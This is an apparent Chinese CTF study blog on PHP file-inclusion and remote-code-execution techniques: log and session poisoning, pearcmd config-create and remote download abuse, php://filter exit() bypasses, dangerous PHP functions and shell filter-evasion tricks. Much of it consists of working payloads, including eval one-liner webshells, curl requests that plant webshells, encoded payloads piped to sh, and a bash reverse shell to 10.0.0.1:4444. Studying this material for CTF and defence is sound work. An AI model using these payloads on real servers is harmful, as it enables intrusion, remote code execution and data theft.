<?php                                                               ?>'); ?>

简单解释一下这串内容：
fopen('2L47yY.php','w')
fopen是php打开或创建文件的函数，其中2L47yY.php是我们创建文件的文件名，w表示write（写入模式）
fputs(文件指针, 写入内容)
这个函数用于将后面的内容写入到刚才创建的shell.php中

进行伪造POST请求时我们就可以将这串内容写入到我们伪造的ZLARYY.txt中，至于这串代码为什么会被执行，这就是include函数的事了，include在包含一个文件时会不考虑其后缀，逐行扫描文件内容，一旦发现<?php和?>就会立刻把其中内容当作php代码执行

AI帮我写了一篇windows下的条件竞争脚本，不过耗费时间是真的四位随机字母爆破到3开头就花了半个小时......

巧的是今晚遇上开会，lulu学长介绍了一篇文章关于在条件竞争时更快速度找到临时文件的方法：

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

这篇文章后面提到了用通配符代替文件名：

*代替0个及以上的任意字符
?代表1个任意字符

那比如/tmp/phpabcdef就可以写作/***/php??????，这给了我们在条件竞争时候的一种思路，我们可以利用正则匹配最后一位字符，由于Linux中的临时文件名后面6位由随机的大小写字母组成，并且大写字符的ASCII码位于@和[符号之间，那么[@-[]就可以用来表示大写字母，在条件竞争中的文件包含线程中，我们就可以利用/tmp/php?????[@-[]来代替生成的临时文件，多尝试几次，总有一次生成的临时文件名最后一位是大写字符

# 日志文件包含

在学习日志文件包含的时候我一直尝试用kali打开和CTF题目环境一样的http服务，终于是让我搞出来了：

sudo echo '<?php highlight_file(__FILE__);system($_GET["cmd"]); ?>' > /var/www/html/index.php
//创造一个index.php文件存在于/var/www/html/下
sudo systemctl start apache2
//开启apache2服务

sudo nano /var/www/html/index.php
//用nano编辑器可以美观的写index.php
//Ctrl+O是保存，然后Enter确认文件名，最后Ctrl+x退出

这样我们可以通过ifconfig在查看到kali的IP之后在windows上访问

http://[IP]

就能完美模拟CTF题目场景了，不过在复现日志文件包含的时候还需要给日志及路径加上权限：

sudo chmod 644 /var/log/apache2/access.log
sudo chmod 755 /var/log/apache2

好了，现在让我们尝试复现日志文件包含漏洞：

通常情况下我们拿到一个文件包含漏洞的题目需要先分析使用的是哪种服务器：apache还是nginx

像这里我采用的是apache2的服务器，那么日志存在路径就是/var/log/apache2/access.log，除此之外我们还可能见到：

/var/log/apache/access.log //apache服务器
/var/log/nginx/access.log //nginx服务器
/var/log/httpd/access_log //CentOS / RHEL / Fedora 系列
C:\xampp\apache\logs\access.log //XAMPP环境
C:\wamp\logs\access.log //WampServer环境

值得一提的是这些路径下不止存在access.log，还存在error.log

我们的题目是：

<?php
highlight_file(__FILE__);
$file=$_GET['file'];
include($file);
?>

当我们尝试文件包含/var/log/apache2/access.log能看到如上内容，显然这是我们的UA内容，此时我们就可以尝试在UA里面注入一句话木马，最后文件包含它：

User-Agent:<?php @eval($_POST['cmd']);?>
POST提交：cmd=system("cat /flag");

成功拿到flag

# session文件包含

有关session的机制在本博客php反序列化session反序列化一节已经讲的详细了，这里只做部分的提及

我们还是利用这一段php代码：

<?php
session_start();
$_SESSION['flag']=$_GET['flag'];
echo $_SESSION['flag'];

在session反序列化一节中我们用来检验处理器下session文件的存储形式，这里我们将存储内容改为php代码：

可以看到这串包含php代码的字符串已经存储在了session文件中，再根据前文所提到的include特性，当我们包含该文件时就能实现php代码的执行

一些常见的session文件存储路径：

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

可以注意到成功执行了phpinfo()

随后我尝试了重新传入

flag=<?php system('cat /flag');?>

也是成功拿到flag了，至于sess文件中的一长串字符串可以在Cookie中看到，类似：

Cookie: PHPSEESID=9b8428d87bf74abf0fefa76e5bdc7be3

由于php的文件包含类函数不能解析shell通配符，所以我们不能使用sess_*来代替，不过我们可以主动修改我们的PHPSESSID，在没有返回这个内容的情况下我们可以主动添加上这个Cookie：

Cookie: PHPSESSID=ZLARYY
//在传/?flag=<?php system('cat /flag');?>时加上

我们尝试在include.php里面包含试试：

/?file=/var/lib/php/sessions/sess_ZLARYY

# pearcmd

pecl是php中用于管理扩展的命令行工具，pear是pecl依赖的类库，在7.3及以前，pecl/pear是默认安装的；在7.4及以后，需要我们在编译PHP的时候指定--with-pear才会安装

在kali中我用了如下命令安装pear扩展：

sudo apt update
sudo apt install php-pear

pear version//检验是否成功安装

除此之外在复现pearcmd文件包含还需要开启register_argc_argv选项，这样$_SERVER['argv']才会生效

在kali里面修改php.ini操作如下：

ls /etc/php //先查看版本，我这里是8.4
sudo nano /etc/php/8.4/apache2/php.ini //apache2服务
//sudo nano /etc/php/8.4/fpm/php.ini Nginx(php-fpm)服务
然后找到并修改register_argc_argv = On
sudo systemctl restart apache2 //重启web服务（apache）
//sudo systemctl restart php8.4-fpm （Nginx）

这样操作之后我们的pearcmd.php文件会储存在/usr/share/php/pearcmd.php里面，不过一般来说也可能储存在/usr/local/lib/php/pearcmd.php这个路径下

接下来需要跟着p神的文章(https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html)了解一下pearcmd.php的原理：

static zend_bool php_auto_globals_create_server(zend_string *name)
{
    if (PG(variables_order) && (strchr(PG(variables_order),'S') || strchr(PG(variables_order),'s'))) {
        php_register_server_variables();

        if (PG(register_argc_argv)) {
            if (SG(request_info).argc) {
                zval *argc, *argv;

                if ((argc = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGC), 1)) != NULL &&
                    (argv = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGV), 1)) != NULL) {
                    Z_ADDREF_P(argv);
                    zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGV), argv);
                    zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGC), argc);
                }
            } else {
                php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);
            }
        }

    } else {
        zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_SERVER]);
        array_init(&PG(http_globals)[TRACK_VARS_SERVER]);
    }
    ...

第一个if语句判断variables_order中是否有S，即$_SERVER变量；第二个if语句判断是否开启register_argc_argv，第三个if语句判断是否有request_info.argc存在，如果不存在，其执行的是这条语句：

php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);

根据P神的试验结果，SG(request_info).query_string会将http数据包中的query_string作为argv的值：

<?php
highlight_file(__FILE__);
$file=$_GET['file'];
include($file);
var_dump($_SERVER['argv']);
?>

如果我们直接在URL传参/?file=1 2 3那么就会出现这种结果，不过如果用+代替空格会产生另一种结果：

可以看到这个数组从一个键值对变成了三个键值对，他们通过加号隔断

不过用POST传参就不能储存在$_SERVER['argv']中了

实验到这里就有一种有关本漏洞的技巧了：

为了方便展示文件成功被包含，所以直接包含了/flag作为文件

这就很有意思了，&符号连接使/flag成功作为file的值

接下来我们看到：

RFC3875中规定，如果query-string中不包含没有编码的=，且请求是GET或HEAD，则query-string需要被作为命令行参数。
PHP现在仍然没有严格按照RFC来处理，即使我们传入的query-string包含等号，也仍会被赋值给$_SERVER['argv']

public static function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {
        if (!@is_array($_SERVER['argv'])) {
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                return PEAR::raiseError("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}

这是pear中获取命令行argv的函数：先尝试$argv，如果不存在再尝试$_SERVER['argv']，后者我们可通过query-string控制。也就是说，我们通过Web访问了pear命令行的功能，且能够控制命令行的参数

接下来我们深入pear命令的参数：

# config-create

config-create: must have 2 parameters, root path and filename to save as

意思是config-create后面必须跟上两个参数，第一个参数是pearcmd.php文件的绝对路径，第二个参数是写入配置文件的路径，这样pear就可以将产生的配置数据写进第二个参数的路径下产生的文件中，比如：

pear config-create /usr/local/lib/php/pearcmd.php /var/www/html/evil.php

这样就会将配置文件信息写入到/var/www/html/evil.php中，通过cat命令查看还有一个特别有意思的东西：这些配置信息数据传入到/var/www/html/evil.php中的内容是序列化数据

这个先放一放，先回到文件包含上，我们对于这个的利用点是：

第一个参数的绝对路径可以不存在，因为pear的源码逻辑是把第一个参数当成一个普通的文本字符串保存在内存里，根本就没有有调用is_dir()或者file_exists()去硬盘上验证这个目录到底存不存在
这样我们就可以把一句话木马拼接到第一个参数的路径中

还记得之前做$_SERVER['argv']的实验吗，/?1+&file=/flag既成功包含了/flag文件还储存在了全局变量中，那我们就可以构造如下payload：

/?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=phpinfo()?>+/var/www/html/evil.php

这里的pearcmd.php的路径当然不唯一，也可能是/usr/local/lib/php/pearcmd.php，最后写入evil.php也不一定非得在/var/www/html（可能没有权限），也可以使用/tmp/evil.php

这里不知道为什么在传payload的时候会把我的<>给编码了，可以使用curl：

curl "http://127.0.0.1/index.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=phpinfo()?>+/var/www/html/evil.php"

最后再包含文件就行了

接下来是RCE部分：

curl "http://127.0.0.1/index.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=system('ls')?>+/var/www/html/evil.php" 

curl "http://127.0.0.1/index.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=system('cat</flag')?>+/var/www/html/evil.php"

注：我尝试了%20，%0a，%09代替cat /flag中间的空格都不行，小于符号就可以

在写这篇文章的时候我就想：既然可能存在<>被编码的情况，那么我能不能直接把所有的php代码都给编码为base64字符串，然后利用php://filter进行解码呢，这个问题我研究了很久，我首先是直接在原有基础上将php代码替换为base64编码后的字符串，不过有一个很严重的问题我没考虑到就是/&file=里的等于符号在base64中通常被认为是base64字符串的结尾，所以等号后面的字符串就不会被php://filter解码了，那么这种想法就是行不通的，接下来我们尝试其他方法：

/?file=/usr/share/php/pearcmd.php&+config-create+/PD9waHAgc3lzdGVtKCdscycpOyA/Plxu+/var/www/html/evil.php

我解释一下这串字符串为什么要这么写：

/?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=system('ls')?>+/var/www/html/evil.php

这是我们一开始的paylaod，在?后面紧跟上了一个+，那么在放进$_SERVER['argv']的时候就会导致第一个键对的值为空，但是pear命令在获取$_SERVER['argv']的时候会丢掉该数组的第一个键对值，那么自然紧跟上的就是config-create

/?file=/usr/share/php/pearcmd.php&+config-create+/PD9waHAgc3lzdGVtKCdscycpOyA/Plxu+/var/www/html/evil.php

但是如果我们先进行文件包含，那么第一个键对值就变成了这个file=******，再根据pear会省略的特性，我们就可以用&分离参数之后跟上config_create和其他两个参数
同时又由于我们的pearcmd.php文件已经被包含了，那么config-create后面跟上的第一个参数也就没必要是绝对路径了，直接加上base64编码的字符串，最后是储存路径

也能成功看到flag（我的base64编码后的字符串解码后为<?php system('cat /flag'); ?>\）这也是为了确保结尾没有出现加号或者等号

不过这也给了一种新思路：如果遇到没有将<>编码的部分可以用这种payload：

/?file=/usr/share/php/pearcmd.php&+config-create+/<?=phpinfo()?>+/var/www/html/evil.php

那还解码啥了，直接包含得了

# download

除了用config-create我们还可以使用download远程下载文件，测试环境为kali的Desktop下有一个phpinfo.php文件，内容为：

<?php
phpinfo();
?>

正常利用是

pear download [文件地址]

那么我们可以将恶意的php文件放在靶机可以访问的地方，那么这里我们可以这样利用：

?file=/usr/share/php/pearcmd.php&+download+http://192.168.152.128:8000/Desktop/phpinfo.php

可以看到成功下载到了/var/www/html路径下，不过也可能安装在/tmp/pear/download路径下

然后只需要再文件包含一次就可以了

更换了一下phpinfo.php的文件内容和名字：

<?php
system('cat /flag');
?>

# install

这个和download没有什么差别，可能唯一的差别就是这个东西会把文件保存到/tmp/pear/download路径下吧：

?file=/usr/share/php/pearcmd.php&+install+http://192.168.152.128:8000/Desktop/cmd.php

# exit死亡绕过

文章参考：https://xiaolong22333.top/archives/114/

在学习exit死亡绕过之前先了解一下一个相关函数：file_put_contents()

这个函数可以传入两个参数，第一个参数写文件名或路径，第二个参数写要写入的数据

如上图所示，执行exercise.php就可以在同级目录下生成shell.php文件，在exit死亡绕过中通常以以下三种形式出现：

file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx");

由于第二个参数前面的exit存在，导致我们写入的$content不会被执行php代码就结束了

# file_put_contents( $filename,"<?php exit();".$ content);

# base64

复现这个漏洞用到的php代码为：

<?php
highlight_file(__FILE__);
$filename=$_GET['filename'];
$content=$_POST['content'];
$file=$_GET['file'];
file_put_contents($filename,"<?php exit();".$content);
include($file);
?>

由于生成文件在同级目录下的缘故，我们可以直接生成木马文件后蚁剑连接，为了方便演示这里采用文件包含

绕过exit的核心就是使用php://filter对后面的内容进行解码，举个例子：

<?php
file_put_contents('php://filter/write=convert.base64-decode/resource=shell.php',"PD9waHAgc3lzdGVtKCdzb3J0IC9mbGFnJyk7");
?>

利用这个姿势我们就可以绕过前面的<?php exit();了，不过还得注意一下偏移量(offset)，由于base64是四个字节解码一个字符，所以解码到我们的恶意字符串时前面的字符个数必须是4的倍数，否则我们的base64编码字符串就不能正常被解码为php代码，同时，由于base64编码字符串中不存在<，>，?这些字符，所以在解码时会自动把他们删除，也就是说最后在解码时前面只剩下了phpexit总共七个字符，所以我们的恶意字符串前面还需要加上一个a参与前面七个字符的解码，给出最后的payload：

/?filename=php://filter/write=convert.base64-decode/resource=evil.php&file=/var/www/html/evil.php

content=aPD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs=
//这是<?php system('cat /flag');的base64编码字符串

# rot13

除了base64编码之外我们还可以采用rot13编码，原理和base64一样：

/?filename=php://filter/write=string.rot13/resource=evil.php&file=/var/www/html/evil.php

content=<?cuc flfgrz('png /synt');
//这是<?php system('cat /flag');的rot13编码字符串

不过使用这个payload有局限性，如果开启了短标签的话前面的内容就会被解析导致代码错误，比如：

不过查看evil.php文件的确是正常的：

# 过滤器嵌套绕过

利用string.strip_tags可以过滤掉html标签和php标签里的内容，然后再进行base64解码，这样就不用考虑偏移量的问题了：

/?filename=php://filter/string.strip_tags|convert.base64-decode/resource=evil.php&file=/var/www/html/evil.php

content=?>PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs=

需要注意的是string.strip_tags在php7.3.0以上的环境下会发生段错误，从而导致无法写入，php5则不受影响

# file_put_contents( $content,"<?php exit();".$ content);

这个利用的姿势是本博客SSRF一栏中的绕过手法最后一项，将木马内容塞到php://filter的过滤器中

可以用rot13，不过破绽还是之前提到的：

如果开启了短标签的话前面的内容就会被解析导致代码错误

content=php://filter/string.rot13|<?cuc flfgrz('png /synt');?>|/resource=shell.php

用base64编码就可以不用放在过滤器中了：

content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyAga.php

因为base64在遇到=后就结束了，因此可以先用string.strip_tags来去掉前面php标签里的内容，然后剩下的进行base64解码即可，由于我的环境php版本太高没有string.strip_tags这个过滤器，所以最后cat生成的文件发现没有删除<?php exit();windows下又不允许文件名带上?>，那这道就先放放吧，理论上只需要最后文件包含就可以了：

?file=/var/www/html/%3F%3EPD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyAga.php

还有一种过滤器嵌套绕过：

content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php

最后是convert.iconv.*

convert.iconv.*过滤器等同于用iconv()函数

通过usc-2的编码进行转换；对目标字符串进行2位一反转；（因为是两位一反转，所以字符的数目需要保持在偶数位上）

content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php

我们可以用这段命令输出我们需要的字符串：

php -r 'echo iconv("UCS-2LE", "UCS-2BE", "<?php system(\"cat /flag\"); ?> ");'

最后结果为

?<hp pystsme"(ac tf/al"g;)?  >

content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pystsme"(ac tf/al"g;)?  >/resource=shell.php

最后不用view-source看不到，因为<hp被识别为标签了

# file_put_contents( $filename,$ content . "\nxxxxxx");

这种没有什么说法：

?filename=shell.php&file=shell.php

content=<?php system('cat /flag');?>

RCE

2026-02-28T07:45:00.000Z

# RCE

RCE(remote command/code execute，远程命令执行)漏洞：以PHP为例，system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。当我们可以控制这些函数的参数时，就能运行我们想运行的命令，从而进行攻击。

# 命令拼接符号（Linux）

|：管道符，前面命令标准输出，后面命令的标准输入，或者说将前面的命令的输出内容作为后一个命令的标准输入，比如：
```
echo "JGZsYWc9WkxBUllZezJMNDd5WX0="|base64 -d
输出内容：
$flag=ZLARYY{2L47yY}
```
当然，就算后面的命令不需要输入内容也可以执行：
```
echo "You are "|whoami
输出内容：
ZLARYY  //whoami命令执行的结果，可以看到不会输出前面的命令执行的内容
```

&：将前面的命令放在后台执行，不等前面的命令执行结束就开始执行后面的命令，还有一种用法是在一行命令末尾加上&符号使其放在后台运行，比如下载文件......：

echo "flag=ZLARYY"&echo "{2L47yY}"
输出内容:
[1] 2354  //[1]表示任务编号，是当前终端回话中开启的第一个后台任务，可以通过jobs命令查看，2354为进程ID(PID,Process ID)，可以通过kill 2354来强制停止这个任务
{2L47yY}  //这个是后面的前台命令执行的结果

flag=ZLARYY  //前面的后台命令执行的结果

||：逻辑或，只有前面的命令执行失败才会执行后面的命令：

echo "ZLARYY"||echo "can I be exeuted?"
输出内容：
ZLARYY

cat /flag.txt || echo "找不到 flag 文件！"
输出内容：
cat: /flag.txt: No such file or directory
找不到 flag 文件！

&&：逻辑与，只有前面的命令执行成功才会执行后面的命令：

echo "ZLARYY"&&echo "sure I can be exeuted!"
输出内容：
ZLARYY
sure I can be exeuted!

cat /flag.txt&&echo "can I be executed?"
输出内容：
cat: /flag.txt: No such file or directory

;：顺序执行，不论前面的命令执行是否成功，都会先执行前面的命令再执行后面的命令：
```
echo "ZLARYY";echo "{2L47yY}"
输出内容：
ZLARYY
{2L47yY}
```
$()和` ：把括号或反引号里面的命令先执行，然后把它的输出结果当作字符串拼接到外层命令中：
```
echo "You are $(whoami)"
输出内容：
You are ZLARYY //将$()替换为``输出结果相同
```
()：子shell运行，在一个全新且独立的子环境中执行，不会影响当前环境的变量或目录：
```
(cd /tmp;ls)
//输出内容是ls /tmp的内容，但不会改变当前环境所在目录
```

{}：和()类似，把命令组合起来但是是在当前环境中执行：

{ cd /tmp;ls; }
//输出内容为ls /tmp，并且目录跳转到/tmp
该符号使用必须在大括号内前后加上空格，并且最后一个命令必须加上分号

# 系统命令连接符（windows）

&：先执行前面的命令，再执行后面的命令：

echo "ZLA"&echo "RYY"

&&：逻辑与，只有前面的命令执行成功才会执行后面的命令：

sort flag.txt&&echo "can I be executed?"

echo "sure I can be executed!"&&echo "can I be executed?"

|：把前一个命令的输出结果当作后一个命令的标准输入：
```
dir|findstr  "flag.txt"
```

||：逻辑或，只有前面的命令执行失败才会执行后面的命令：

sort flag.txt||echo "can I be executed?"

echo "sure I can be executed!"||echo "can I be executed?"

# 系统命令执行函数

# system()

其作用是把当前正在运行的程序暂停后让底层操作系统（windows的CMD或Linux的Bash）执行一条系统命令之后返回结果

system(string $command, int &$result_code = null): string|false

$command：要执行的系统命令
$result_code：可选参数，存储命令执行后的返回状态码
返回值：成功返回输出的最后一行，失败返回false

<?php
highlight_file(__FILE__);
system("echo ZLARYY");

这段代码展现了system()的命令执行功能

<?php
highlight_file(__FILE__);
system("echo ZLARYY",$return);
echo "</br>".$return;

<?php
highlight_file(__FILE__);
system("cat /flag",$return);
echo "</br>".$return;

可以看到，前面的命令执行成功的话返回状态码为0，失败则返回1，并且就算命令执行失败也不影响后续代码执行

除此之外，system函数可以将命令执行的结果直接返回到界面上：

<?php
highlight_file(__FILE__);
system("sort flag.txt",$return);
echo "</br>".$return;

# passthru()

passthru()是php中用于执行外部程序并直接输出原始结果的函数，与system()函数差不多

passthru(string $command, int &$result_code = null): ?false

$command：为要执行的系统命令字符串
$result_code：可选，用于接收命令的退出状态码
成功返回null，失败返回 false

<?php
highlight_file(__FILE__);
passthru("sort flag.txt",$return);
echo "</br>".$return;

不过相较于system()函数，passthru()可以把原始的二进制流正确地传给浏览器显示或下载

<?php
header("Content-Type: image/png");
passthru("type avertar.png");

最后你能打开浏览器看到图片文件

# exec()

相较于system()和passthru()，exec()只会将命令输出的最后一行作为函数的返回值，如果想得到完整输出内容需要给他提供一个数组变量作为第二个参数，将每一行结果存储进去

<?php
highlight_file(__FILE__);
exec("echo ZLARYY");

由于我们在cmd中执行echo命令最终执行内容其实为：

ZLARYY

最后一行为空

<?php
highlight_file(__FILE__);
exec("echo ZLARYY",$array);
var_dump($array);
echo "</br>";
echo exec("echo ZLARYY");

可以用var_dump或者print_r打印数组

# shell_exec()

该函数可以将命令的完整输出作为字符串返回，但和exec函数一样不会主动返回

shell_exec(string $command): string|false|null

<?php
highlight_file(__FILE__);
echo shell_exec("type flag.txt");

# popen()

popen就是pipe open，该函数不会返回命令执行结果，而是返回一个文件指针，但是命令已经执行

popen(string $command, string $mode): resource|false

$command：要执行的系统命令，可包含参数及重定向（如2>&1捕获错误输出）。
$mode："r"表示从进程读取（STDOUT），"w"表示向进程写入（STDIN）。在 Windows 下可用 "rb" / "wb" 避免换行符转换。
返回值是一个类似fopen()的文件指针，但必须用pclose()关闭。

<?php
highlight_file(__FILE__);
$a = popen("sort flag.txt","r");
var_dump($a);
$b = stream_get_contents($a);
echo "</br>".$b;

可以使用stream_get_contents()函数或者fread()

<?php
highlight_file(__FILE__);
$a = popen("sort flag.txt","r");
var_dump($a);
$b = fread($a,4096);
echo "</br>".$b;

在实际应用popen函数中要记得使用pclose关闭pipe

# proc_open()

proc_open和popen两个函数的区别在于：popen函数只能建立单向的pipe（要么只能读"r"，要么只能写"w"），如果命令执行报错可能拿不到报错信息，而proc_open不仅能和底层操作系统建立进程联系，还能一次性接通三个pipe：

标准输入 (Stdin - 0号管)：你可以通过这根管子，源源不断地给程序发送指令或数据。
标准输出 (Stdout - 1号管)：你可以通过这根管子，读取程序正常执行返回的结果。
标准错误 (Stderr - 2号管)：如果程序执行报错了（比如命令打错了、文件不存在），报错信息会专门从这根管子流出来！

相较于其他函数，proc_open明显要麻烦许多：

<?php
highlight_file(__FILE__);
//定义管道配置图
$descriptorspec = array(
    0 => array("pipe","r"), //标准输入 (stdin)：给命令喂数据
    1 => array("pipe","w"), //标准输出 (stdout)：接收命令正常的返回结果
    2 => array("pipe","w")  //标准错误 (stderr)：接收命令的报错信息
);
//让php连接底层操作系统，并按管道配置图中接好的三根实体pipe放进$pipes这个数组
$process = proc_open('sort flag.txt',$descriptorspec,$pipes);
//用stream_get_contents()函数读取流中的内容
$output = stream_get_contents($pipes[1]);
$error =  stream_get_contents($pipes[2]);
var_dump($process);
//输出结果
echo "</br>".$output;

当然也可以使用fread()：

$output=fread($pipes[1]);

当我把flag.txt替换为/flag(实际不存在)，也能实现报错：

$error=stream_get_contents($pipes[2]);

利用$pipes[0]，我们还可以实现动态给sort命令写入数据

<?php
highlight_file(__FILE__);
$descriptorspec = array(
    0 => array("pipe","r"), 
    1 => array("pipe","w"), 
    2 => array("pipe","w")  
);
$process = proc_open('sort',$descriptorspec,$pipes);

fwrite($pipes[0],"A\r\n");
fwrite($pipes[0],"C\r\n");
fwrite($pipes[0],"B\r\n");
fclose($pipes[0]);

$output = fread($pipes[1],4096);
$error = stream_get_contents($pipes[2]);
var_dump($process);
echo "</br>".$output;
echo "</br>".$error;

sort这个命令后续详细再提，在这里它的功能是按首字母进行排序，这里不用flag.txt是因为根本不会去执行sort flag.txt这个命令，因为你传进去的数据作为标准输入，而不是命令行参数

# pcntl_exec()

pcntl 全称是 Process Control (进程控制)，直接调用了操作系统的核心系统调用（在 Linux 下底层就是 execve），它是专门为 Linux/Unix (POSIX 兼容) 系统设计的扩展，所以在windows环境下无法使用这个函数

pcntl_exec(string $path, array $args = [], array $env_vars = []);

$path: 可执行文件的路径，或者包含解释器路径的脚本（如 #!/usr/bin/php）。
$args: 传递给程序的参数数组。
$env_vars: 传递给程序的环境变量数组，格式为 key => value。

调用pcntl_exec后，当前进程会被替换为指定的程序，原进程的代码段、数据段和堆栈段都会被新程序替换，但进程号保持不变。

<?php
pcntl_exec("/bin/cat",array("flag.txt"));
?>

执行到pcntl_exec之后，php脚本会消散而被bash身份取代

可以利用这个函数进行反弹shell：

<?php
// PHP，请你立刻去死，并转生为一个连接10.0.0.1的Bash终端！
pcntl_exec("/bin/bash", array("-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"));
?>

# eval

eval这个东西不属于系统命令执行函数一类，他可以将参数作为php代码来执行，但他又不属于函数一类，而是与echo,if,while等一类的语言结构，就连disable_function都限制不了

对于eval的应用还是特别常见的：

<?php @eval($_POST['cmd']);?>  //一句话木马

当我们传入：

cmd=ls
cmd=cat flag

就能实现目录穿越和文件查看了

<?php
highlight_file(__FILE__);
eval('system("sort flag.txt");');

# assert

assert，翻译叫做断言，属于一个标准函数

assert($a==1)
如果$a的确等于1，那就不会发生什么，反之报错退出

但如果assert里面的内容不是判断语句，那么他就会像eval一样把字符串当作php代码执行。

<?php
highlight_file(__FILE__);
assert('system("sort flag.txt");');

# preg_replace

这个函数原本是用来做正则表达式搜索和替换的：

<?php
highlight_file(__FILE__);
$flag='flag{2L47yY}';
echo preg_replace("/flag/","ZLARYY",$flag);
//将$flag中的flag替换为ZLARYY

不过在\e修饰下的preg_replace函数，php不会把替换后的内容当作普通字符串，而是当作php代码执行

<?php
highlight_file(__FILE__);
$flag='flag{2L47yY}';
echo "<pre>";
preg_replace("/.*/e","system('type  flag.txt');",$flag);
//.表示任意一个字符，*表示重复0次或无数次

这里输出两次是由于preg_replace进行了两次替换，第二次替换是将$flag字符串末尾的空字符替换了。

注意：替换后的内容现需要有返回值，否则会出现报错

<?php
highlight_file(__FILE__);
$flag='flag{2L47yY}';
preg_replace("/.*/e","echo 1",$flag);

这是由于我无法把echo 1赋值给一个变量，所以需要system函数提供返回值

# php可变函数

php可变函数源自于php中的一个规则：如果在一个变量的后面加上一对圆括号 ()，PHP 就会自动去寻找与这个变量的值同名的函数，并尝试执行它，注意：找的是同名函数，eval和echo这种语言结构不适用

<?php
highlight_file(__FILE__);
$func=$_GET['a'];
$arg=$_GET['b'];
$func($arg);

$func->system $arg->'type flag.txt'理解起来不难，最后一行代码变成了system('type flag.txt');

# create_function

create_function最开始作用是创建函数：

<?php
highlight_file(__FILE__);
$add=create_function('$a,$b','return $a+$b;');
echo $add(10,20);

不过他的底层逻辑实际上是这样：

eval("function \0lambda_1($a,$b){return $a+$b;}")

所以如果create_function内部参数可控的话，可以构造字符串闭合掉原本的function执行其他代码：

<?php
highlight_file(__FILE__);
$name=$_GET['name'];
$a=create_function('','echo "'.$name.'";');
$a();

但如果我传入：

?name=ZLARYY";} system("type flag.txt");/*

显然成功执行了后面的代码

# call_user_func()

这个函数理解起来也挺好的，他有两个参数，第一个参数为函数名，第二个参数为函数内部的参数：

<?php
highlight_file(__FILE__);
call_user_func('system','echo ZLARYY');

实际上就是执行了system('echo ZLARYY');

<?php
highlight_file(__FILE__);
$func=$_GET['a'];
$arg=$_GET['b'];
call_user_func($func,$arg);

话说是不是很像php可变函数

# call_user_func_array

这个函数与call_user_func函数差不多，只是他的第二个参数变成需要传入一个数组进去：

<?php
highlight_file(__FILE__);
$func=$_GET['a'];
$arg=$_GET['b'];
call_user_func_array($func,$arg);

也就是说需要传入

/?a=system&b[]=type flag.txt

# array_map

该函数的作用是把一个函数作用到数组的每一个元素中：

<?php
// 一个普通的转换函数 (PHP 内置函数，转大写)
$func = 'strtoupper'; 
$data = array('a', 'b', 'c');

// array_map 开始工作：把 strtoupper 挨个作用于 'a', 'b', 'c'
$result = array_map($func, $data);

print_r($result); 
// 输出：Array ( [0] => A [1] => B [2] => C )
?>

那么我们就可以利用它一次执行多个命令：

<?php
highlight_file(__FILE__);
$func=$_GET['a'];
$arg=$_GET['b'];
array_map($func,$arg);

%26是&的URL编码，这里在传参只能用%26而不能用&连接

# 常规绕过

我们已经了解了RCE漏洞相关的函数和语言结构，现在可以看看一些常规的过滤绕过技巧了：

# 空格过滤

如果是web传参，可以用%09和%20等URL编码代替
可以用$IFS$1-9代替
用${IFS}或者<>代替

花括号{}

{sort,flag.txt}
//单命令最后也需要加上逗号
{ls,}

注：windows系统下测试${IFS}一类会失败，这些仅限于Linux的Bash

# 关键字过滤

base64编码绕过

echo "c29ydCBmbGFnLnR4dA=="|base64 -d|sh
//利用管道符的标准输出与标准输入，实际上执行sort flag.txt

hex编码绕过

echo "736f727420666c61672e7478740a"|xxd -r -p|sh

echo "sort flag.txt"|xxd //这行命令可以输出hex编码

如果服务器没有xxd命令可以使用$()命令替换等：

$(printf "\x73\x6F\x72\x74\x20\x66\x6C\x61\x67\x2E\x74\x78\x74")

`printf "\x73\x6F\x72\x74\x20\x66\x6C\x61\x67\x2E\x74\x78\x74"`

printf "\x73\x6F\x72\x74\x20\x66\x6C\x61\x67\x2E\x74\x78\x74"|sh

拼接绕过

这个技巧在一些时刻可以用于拼接assert，但是不能用于拼接eval
```
//假如过滤了sort
a=so;b=rt;$a$b flag.txt
```

%0a绕过绕过;

ls%0acat /flag
//可以同时执行ls和cat命令

内联执行

echo "a `sort flag.txt`"
//命令行会先执行反引号里面的内容，再输出内容拼接到外层

引号截断
```
sort fl""ag.txt
sort fl''ag.txt
```

通配符代替

?可以用来代替匹配一个字符
